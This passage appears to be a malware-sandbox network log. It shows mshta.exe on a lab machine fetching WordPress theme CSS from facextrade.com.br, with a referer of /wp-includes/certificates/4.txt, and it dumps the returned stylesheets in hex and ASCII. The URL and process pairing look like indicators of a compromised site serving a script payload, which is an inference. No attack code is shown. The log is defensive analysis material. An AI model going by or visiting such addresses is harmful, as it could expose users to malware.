69 6f 6e 2d 6d 6f 64 65 3a 62 69 63 75 62 69 63 3b 0a 7d 0a 23 6d 61 70 5f 63 61 6e 76 61 73 20 69 6d 67 2c 20 2e 67 6f 6f 67 6c 65 2d 6d 61 70 73 20 69 6d 67 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 20 7d 0a 62 75 74 74 6f 6e 2c 20 69 6e 70 75 74 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 09 6d 61 72 67 69 6e 3a 30 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 0a 7d 0a 62 75 74 74 6f 6e 2c 20 69 6e 70 75 74 20 7b 0a 09 2a 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 0a 7d 0a 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 2c 20 69 6e 70 75 74 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 20 7b 0a 09 70 61 64 64 69 6e 67 3a 30 3b 0a 09 62 6f 72 64 65 72 3a 30 3b 0a 7d 0a 62 75 74 74 6f 6e 2c 20 68 Data Ascii: article, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display:block; }audio, canvas, video {display:inline-block;display:inline;zoom:1;}audio:not([controls]) { display:none; }html {font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;}a:focus {outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;}a:hover, a:active { outline:0; }sub, sup {position:relative;font-size:75%;line-height:0;vertical-align:baseline;}sup { top:-0.5em; }sub { bottom:-0.25em; }img {max-width:100%;width:auto \9;height:auto;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic;}#map_canvas img, .google-maps img { max-width:none; }button, input, select, textarea {margin:0;font-size:100%;vertical-align:middle;}button, input {*overflow:visible;line-height:normal;}button::-moz-focus-inner, input::-moz-focus-inner {padding:0;border:0;}button, h
Aug 16, 2022 11:49:45.048029900 CEST	47	IN	Data Raw: 74 6d 6c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 61 70 70 Data Ascii: tml input[type="button"], input[type="reset"], input[type="submit"] {-webkit-appearance:button;cursor:pointer;}label, select, button, input[type="button"], input[type="reset"], input[type="submit"], input[type="radio"], input[type="check
Aug 16, 2022 11:49:45.048054934 CEST	49	IN	Data Raw: 6e 74 3a 22 22 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 20 63 6c 65 61 72 3a 62 6f 74 68 3b 20 7d 0a 2e 68 69 64 65 2d 74 65 78 74 20 7b 0a 09 66 6f 6e 74 3a 30 2f 30 20 61 3b Data Ascii: nt:"";line-height:0;}.clearfix:after { clear:both; }.hide-text {font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0;}.input-block-level {display:block;width:100%;min-height:34px;-webkit-
Aug 16, 2022 11:49:45.048078060 CEST	50	IN	Data Raw: 6e 31 31 20 7b 20 77 69 64 74 68 3a 38 36 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 31 30 20 7b 20 77 69 64 74 68 3a 37 38 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 39 20 7b 20 77 69 64 74 68 3a 37 30 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 38 20 7b 20 77 69 64 Data Ascii: n11 { width:860px; }.span10 { width:780px; }.span9 { width:700px; }.span8 { width:620px; }.span7 { width:540px; }.span6 { width:460px; }.span5 { width:380px; }.span4 { width:300px; }.span3 { width:220px; }.span2 { width:140px; }.span
Aug 16, 2022 11:49:45.048105001 CEST	51	IN	Data Raw: 69 64 20 2e 73 70 61 6e 31 30 20 7b 0a 09 77 69 64 74 68 3a 38 32 2e 39 37 38 37 32 33 34 30 34 32 35 35 25 3b 0a 09 2a 77 69 64 74 68 3a 38 32 2e 39 32 35 35 33 31 39 31 34 38 39 34 25 3b 0a 7d 0a 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 73 70 61 6e Data Ascii: id .span10 {width:82.978723404255%;width:82.925531914894%;}.row-fluid .span9 {width:74.468085106383%;width:74.414893617021%;}.row-fluid .span8 {width:65.957446808511%;*width:65.904255319149%;}.row-fluid .span7 {width:57.4
Aug 16, 2022 11:49:45.048430920 CEST	53	IN	Data Raw: 3a 37 38 2e 36 31 37 30 32 31 32 37 36 35 39 36 25 3b 0a 7d 0a 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 39 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 36 2e 35 39 35 37 34 34 36 38 30 38 35 Data Ascii: :78.617021276596%;}.row-fluid .offset9:first-child {margin-left:76.595744680851%;margin-left:76.489361702128%;}.row-fluid .offset8 {margin-left:70.212765957447%;margin-left:70.106382978723%;}.row-fluid .offset8:first-child {m
Aug 16, 2022 11:49:45.048464060 CEST	54	IN	Data Raw: 65 74 32 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 37 2e 30 32 31 32 37 36 35 39 35 37 34 35 25 3b 0a 09 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 2e 39 31 34 38 39 33 36 31 37 30 32 31 25 3b 0a 7d Data Ascii: et2:first-child {margin-left:17.021276595745%;margin-left:16.914893617021%;}.row-fluid .offset1 {margin-left:10.63829787234%;margin-left:10.531914893617%;}.row-fluid .offset1:first-child {margin-left:8.5106382978723%;*margin-
Aug 16, 2022 11:49:45.048485041 CEST	56	IN	Data Raw: 65 78 74 2d 69 6e 66 6f 3a 66 6f 63 75 73 20 7b 20 63 6f 6c 6f 72 3a 23 32 64 36 39 38 37 3b 20 7d 0a 2e 74 65 78 74 2d 73 75 63 63 65 73 73 20 7b 20 63 6f 6c 6f 72 3a 23 34 36 38 38 34 37 3b 20 7d 0a 61 2e 74 65 78 74 2d 73 75 63 63 65 73 73 3a Data Ascii: ext-info:focus { color:#2d6987; }.text-success { color:#468847; }a.text-success:hover, a.text-success:focus { color:#356635; }.text-left { text-align:left; }.text-right { text-align:right; }.text-center { text-align:center; }h1, h2, h3,
Aug 16, 2022 11:49:45.048511982 CEST	57	IN	Data Raw: 6f 6c 64 3b 20 7d 0a 64 64 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 32 70 78 3b 20 7d 0a 2e 64 6c 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 7b 20 2a 7a 6f 6f 6d 3a 31 3b 20 7d 0a 2e 64 6c 2d 68 6f 72 69 7a 6f 6e 74 61 6c 3a 62 65 66 6f 72 65 2c Data Ascii: old; }dd { margin-left:12px; }.dl-horizontal { *zoom:1; }.dl-horizontal:before, .dl-horizontal:after {display:table;content:"";line-height:0;}.dl-horizontal:after { clear:both; }.dl-horizontal dt {float:left;width:160px;clear
Aug 16, 2022 11:49:45.048537970 CEST	59	IN	Data Raw: 3a 32 34 70 78 3b 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 0a 7d 0a 63 6f 64 65 2c 20 70 72 65 20 7b 0a 09 70 61 64 64 69 6e 67 3a 30 20 33 70 78 20 32 70 78 3b 0a 09 66 Data Ascii: :24px;font-style:normal;line-height:24px;}code, pre {padding:0 3px 2px;font-family:Monaco, Menlo, Consolas, "Courier New", monospace;font-size:13px;color:#333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3
Aug 16, 2022 11:49:45.264013052 CEST	121	IN	Data Raw: 74 2c 20 74 65 78 74 61 72 65 61 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4c 61 74 6f 3b 20 7d 0a 6c 61 62 65 6c 20 7b 0a 09 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 0a 7d 0a 73 65 Data Ascii: t, textarea { font-family:Lato; }label {display:block;margin-bottom:5px;}select, textarea, input[type="text"], input[type="password"], input[type="datetime"], input[type="datetime-local"], input[type="date"], input[type="month"], input[
Aug 16, 2022 11:49:45.716634989 CEST	252	OUT	GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:45.935817003 CEST	254	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:46 GMT Server: Apache ETag: "a5303e-6698-58592d3483f00" Last-Modified: Tue, 02 Apr 2019 21:29:00 GMT Content-Length: 26264 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21188776 20383387 Age: 299 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0a 2a 0a 2a 09 47 45 4e 45 52 41 4c 0a 2a 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 61 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 69 6d 67 2c 20 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 6f 6c 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 75 6c 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 6c 69 2c 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 61 62 6c 65 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 62 6f 64 79 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 66 6f 6f 74 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 68 65 61 64 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 72 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 68 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 64 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 61 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 69 6d 67 2c 20 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 6f 6c 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 75 6c 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 6c 69 2c 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 61 62 6c 65 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 62 6f 64 79 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 66 6f 6f 74 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 68 65 61 64 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 72 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 68 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 64 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 3a 20 30 3b 0a 09 66 6f 6e 74 3a 20 69 6e 68 65 72 69 74 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 09 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 30 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 69 6d 67 20 7b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 20 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 66 61 6b 65 68 6f 76 65 72 20 7b 0a 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 30 70 78 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 31 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 7b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a Data Ascii: /**************************GENERAL*************************/.camera_wrap a, .camera_wrap img, .camera_wrap ol, .camera_wrap ul, .camera_wrap li,.camera_wrap table, .camera_wrap tbody, .camera_wrap tfoot, .camera_wrap thead, .camera_wrap tr, .camera_wrap th, .camera_wrap td.camera_thumbs_wrap a, .camera_thumbs_wrap img, .camera_thumbs_wrap ol, .camera_thumbs_wrap ul, .camera_thumbs_wrap li,.camera_thumbs_wrap table, .camera_thumbs_wrap tbody, .camera_thumbs_wrap tfoot, .camera_thumbs_wrap thead, .camera_thumbs_wrap tr, .camera_thumbs_wrap th, .camera_thumbs_wrap td {background: none;border: 0;font: inherit;font-size: 100%;margin: 0;padding: 0;vertical-align: baseline;list-style: none}.camera_wrap {display: none;float: left;position: relative;z-index: 0;}.camera_wrap img {max-width: none!important;}.camera_fakehover {height: 100%;min-height: 60px;position: relative;width: 100%;z-index: 1;}.camera_wrap {width: 100%;
Aug 16, 2022 11:49:45.969978094 CEST	281	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:46.191735029 CEST	359	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:46 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT ETag: "a4fabd-1735-58592f81e2d80" Accept-Ranges: bytes Content-Length: 5941 Connection: close Content-Type: text/css

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49176	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:45.023315907 CEST	44	OUT	GET /wp-content/themes/theme51253/style.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:45.238792896 CEST	120	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:46 GMT Server: Apache ETag: "a53798-171-58592c24b7dc0" Last-Modified: Tue, 02 Apr 2019 21:24:15 GMT Content-Length: 369 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 18315298 20383389 Age: 298 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2d 2d 0a 09 54 68 65 6d 65 20 4e 61 6d 65 3a 20 74 68 65 6d 65 35 31 32 35 33 0a 09 54 68 65 6d 65 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 41 20 74 68 65 6d 65 20 66 6f 72 20 57 6f 72 64 70 72 65 73 73 20 34 2e 34 2e 78 0a 09 41 75 74 68 6f 72 3a 20 54 65 6d 70 6c 61 74 65 5f 48 65 6c 70 2e 63 6f 6d 0a 09 41 75 74 68 6f 72 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 54 65 6d 70 6c 61 74 65 3a 20 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 0a 09 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 35 0a 2d 2d 2a 2f 0a 0a 2f 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 50 6c 65 61 73 65 2c 20 59 6f 75 20 6d 61 79 20 70 75 74 20 63 75 73 74 6f 6d 20 43 53 53 20 68 65 72 65 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a Data Ascii: /--Theme Name: theme51253Theme URI: http://info.template-help.com/help/Description: A theme for Wordpress 4.4.xAuthor: Template_Help.comAuthor URI: http://info.template-help.com/help/Template: CherryFrameworkVersion: 3.1.5--//* ----------------------------------------Please, You may put custom CSS here---------------------------------------- */
Aug 16, 2022 11:49:45.275728941 CEST	149	OUT	GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:45.490766048 CEST	208	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:46 GMT Server: Apache ETag: "a537b3-55b9-58592f5ac9140" Last-Modified: Tue, 02 Apr 2019 21:38:37 GMT Content-Length: 21945 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 18315300 20383385 Age: 299 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 52 65 73 70 6f 6e 73 69 76 65 20 76 32 2e 33 2e 30 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 54 77 69 74 74 65 72 2c 20 49 6e 63 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 41 70 61 63 68 65 20 4c 69 63 65 6e 73 65 20 76 32 2e 30 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 61 63 68 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4c 49 43 45 4e 53 45 2d 32 2e 30 0a 20 2a 0a 20 2a 20 44 65 73 69 67 6e 65 64 20 61 6e 64 20 62 75 69 6c 74 20 77 69 74 68 20 61 6c 6c 20 74 68 65 20 6c 6f 76 65 20 69 6e 20 74 68 65 20 77 6f 72 6c 64 20 40 74 77 69 74 74 65 72 20 62 79 20 40 6d 64 6f 20 61 6e 64 20 40 66 61 74 2e 0a 20 2a 2f 0a 2e 63 6c 65 61 72 66 69 78 20 7b 0a 20 20 2a 7a 6f 6f 6d 3a 20 31 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 62 65 66 6f 72 65 2c 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 7d 0a 2e 68 69 64 65 2d 74 65 78 74 20 7b 0a 20 20 66 6f 6e 74 3a 20 30 2f 30 20 61 3b 0a 20 20 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 2e 69 6e 70 75 74 2d 62 6c 6f 63 6b 2d 6c 65 76 65 6c 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 7d 0a 40 2d 6d 73 2d 76 69 65 77 70 6f 72 74 20 7b 0a 20 20 77 69 64 74 68 3a 20 64 65 76 69 63 65 2d 77 69 64 74 68 3b 0a 7d 0a 2e 68 69 64 64 65 6e 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 70 68 6f 6e 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 74 61 62 6c 65 74 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 68 69 64 64 65 6e 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 68 65 72 69 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 Data Ascii: /! Bootstrap Responsive v2.3.0 * * Copyright 2012 Twitter, Inc * Licensed under the Apache License v2.0 * http://www.apache.org/licenses/LICENSE-2.0 * * Designed and built with all the love in the world @twitter by @mdo and @fat. /.clearfix { zoom: 1;}.clearfix:before,.clearfix:after { display: table; content: ""; line-height: 0;}.clearfix:after { clear: both;}.hide-text { font: 0/0 a; color: transparent; text-shadow: none; background-color: transparent; border: 0;}.input-block-level { display: block; width: 100%; min-height: 30px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box;}@-ms-viewport { width: device-width;}.hidden { display: none; visibility: hidden;}.visible-phone { display: none !important;}.visible-tablet { display: none !important;}.hidden-desktop { display: none !important;}.visible-desktop { display: inherit !important;}@media (min-width: 76
Aug 16, 2022 11:49:45.490799904 CEST	210	IN	Data Raw: 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 37 39 70 78 29 20 7b 0a 20 20 2e 68 69 64 64 65 6e 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 68 65 72 69 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b Data Ascii: 8px) and (max-width: 979px) { .hidden-desktop { display: inherit !important; } .visible-desktop { display: none !important ; } .visible-tablet { display: inherit !important; } .hidden-tablet { display: none !impor
Aug 16, 2022 11:49:45.490823984 CEST	211	IN	Data Raw: 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 35 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 34 37 30 70 78 3b 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 34 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 33 37 30 70 78 3b 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 33 20 7b 0a Data Ascii: } .span5 { width: 470px; } .span4 { width: 370px; } .span3 { width: 270px; } .span2 { width: 170px; } .span1 { width: 70px; } .offset12 { margin-left: 1230px; } .offset11 { margin-left:
Aug 16, 2022 11:49:45.490848064 CEST	212	IN	Data Raw: 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 2a 77 69 64 74 68 3a 20 39 39 2e 39 34 36 38 30 38 35 31 30 36 33 38 32 39 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 73 70 61 6e 31 31 20 7b 0a 20 20 20 20 Data Ascii: { width: 100%; width: 99.94680851063829%; } .row-fluid .span11 { width: 91.45299145299145%; width: 91.39979996362975%; } .row-fluid .span10 { width: 82.90598290598291%; *width: 82.8527914166212%; } .row-fl
Aug 16, 2022 11:49:45.490871906 CEST	214	IN	Data Raw: 6e 2d 6c 65 66 74 3a 20 39 36 2e 34 37 34 38 31 33 36 30 32 34 37 33 31 36 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 31 31 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 Data Ascii: n-left: 96.47481360247316%; } .row-fluid .offset11:first-child { margin-left: 94.01709401709402%; margin-left: 93.91071103837061%; } .row-fluid .offset10 { margin-left: 88.03418803418803%; margin-left: 87.927805055464
Aug 16, 2022 11:49:45.490901947 CEST	215	IN	Data Raw: 39 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 35 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 34 32 2e 37 33 35 30 34 32 37 33 35 30 34 32 37 33 25 3b 0a 20 Data Ascii: 9%; } .row-fluid .offset5:first-child { margin-left: 42.73504273504273%; margin-left: 42.62865975631933%; } .row-fluid .offset4 { margin-left: 36.75213675213675%; margin-left: 36.645753773413354%; } .row-fluid .of
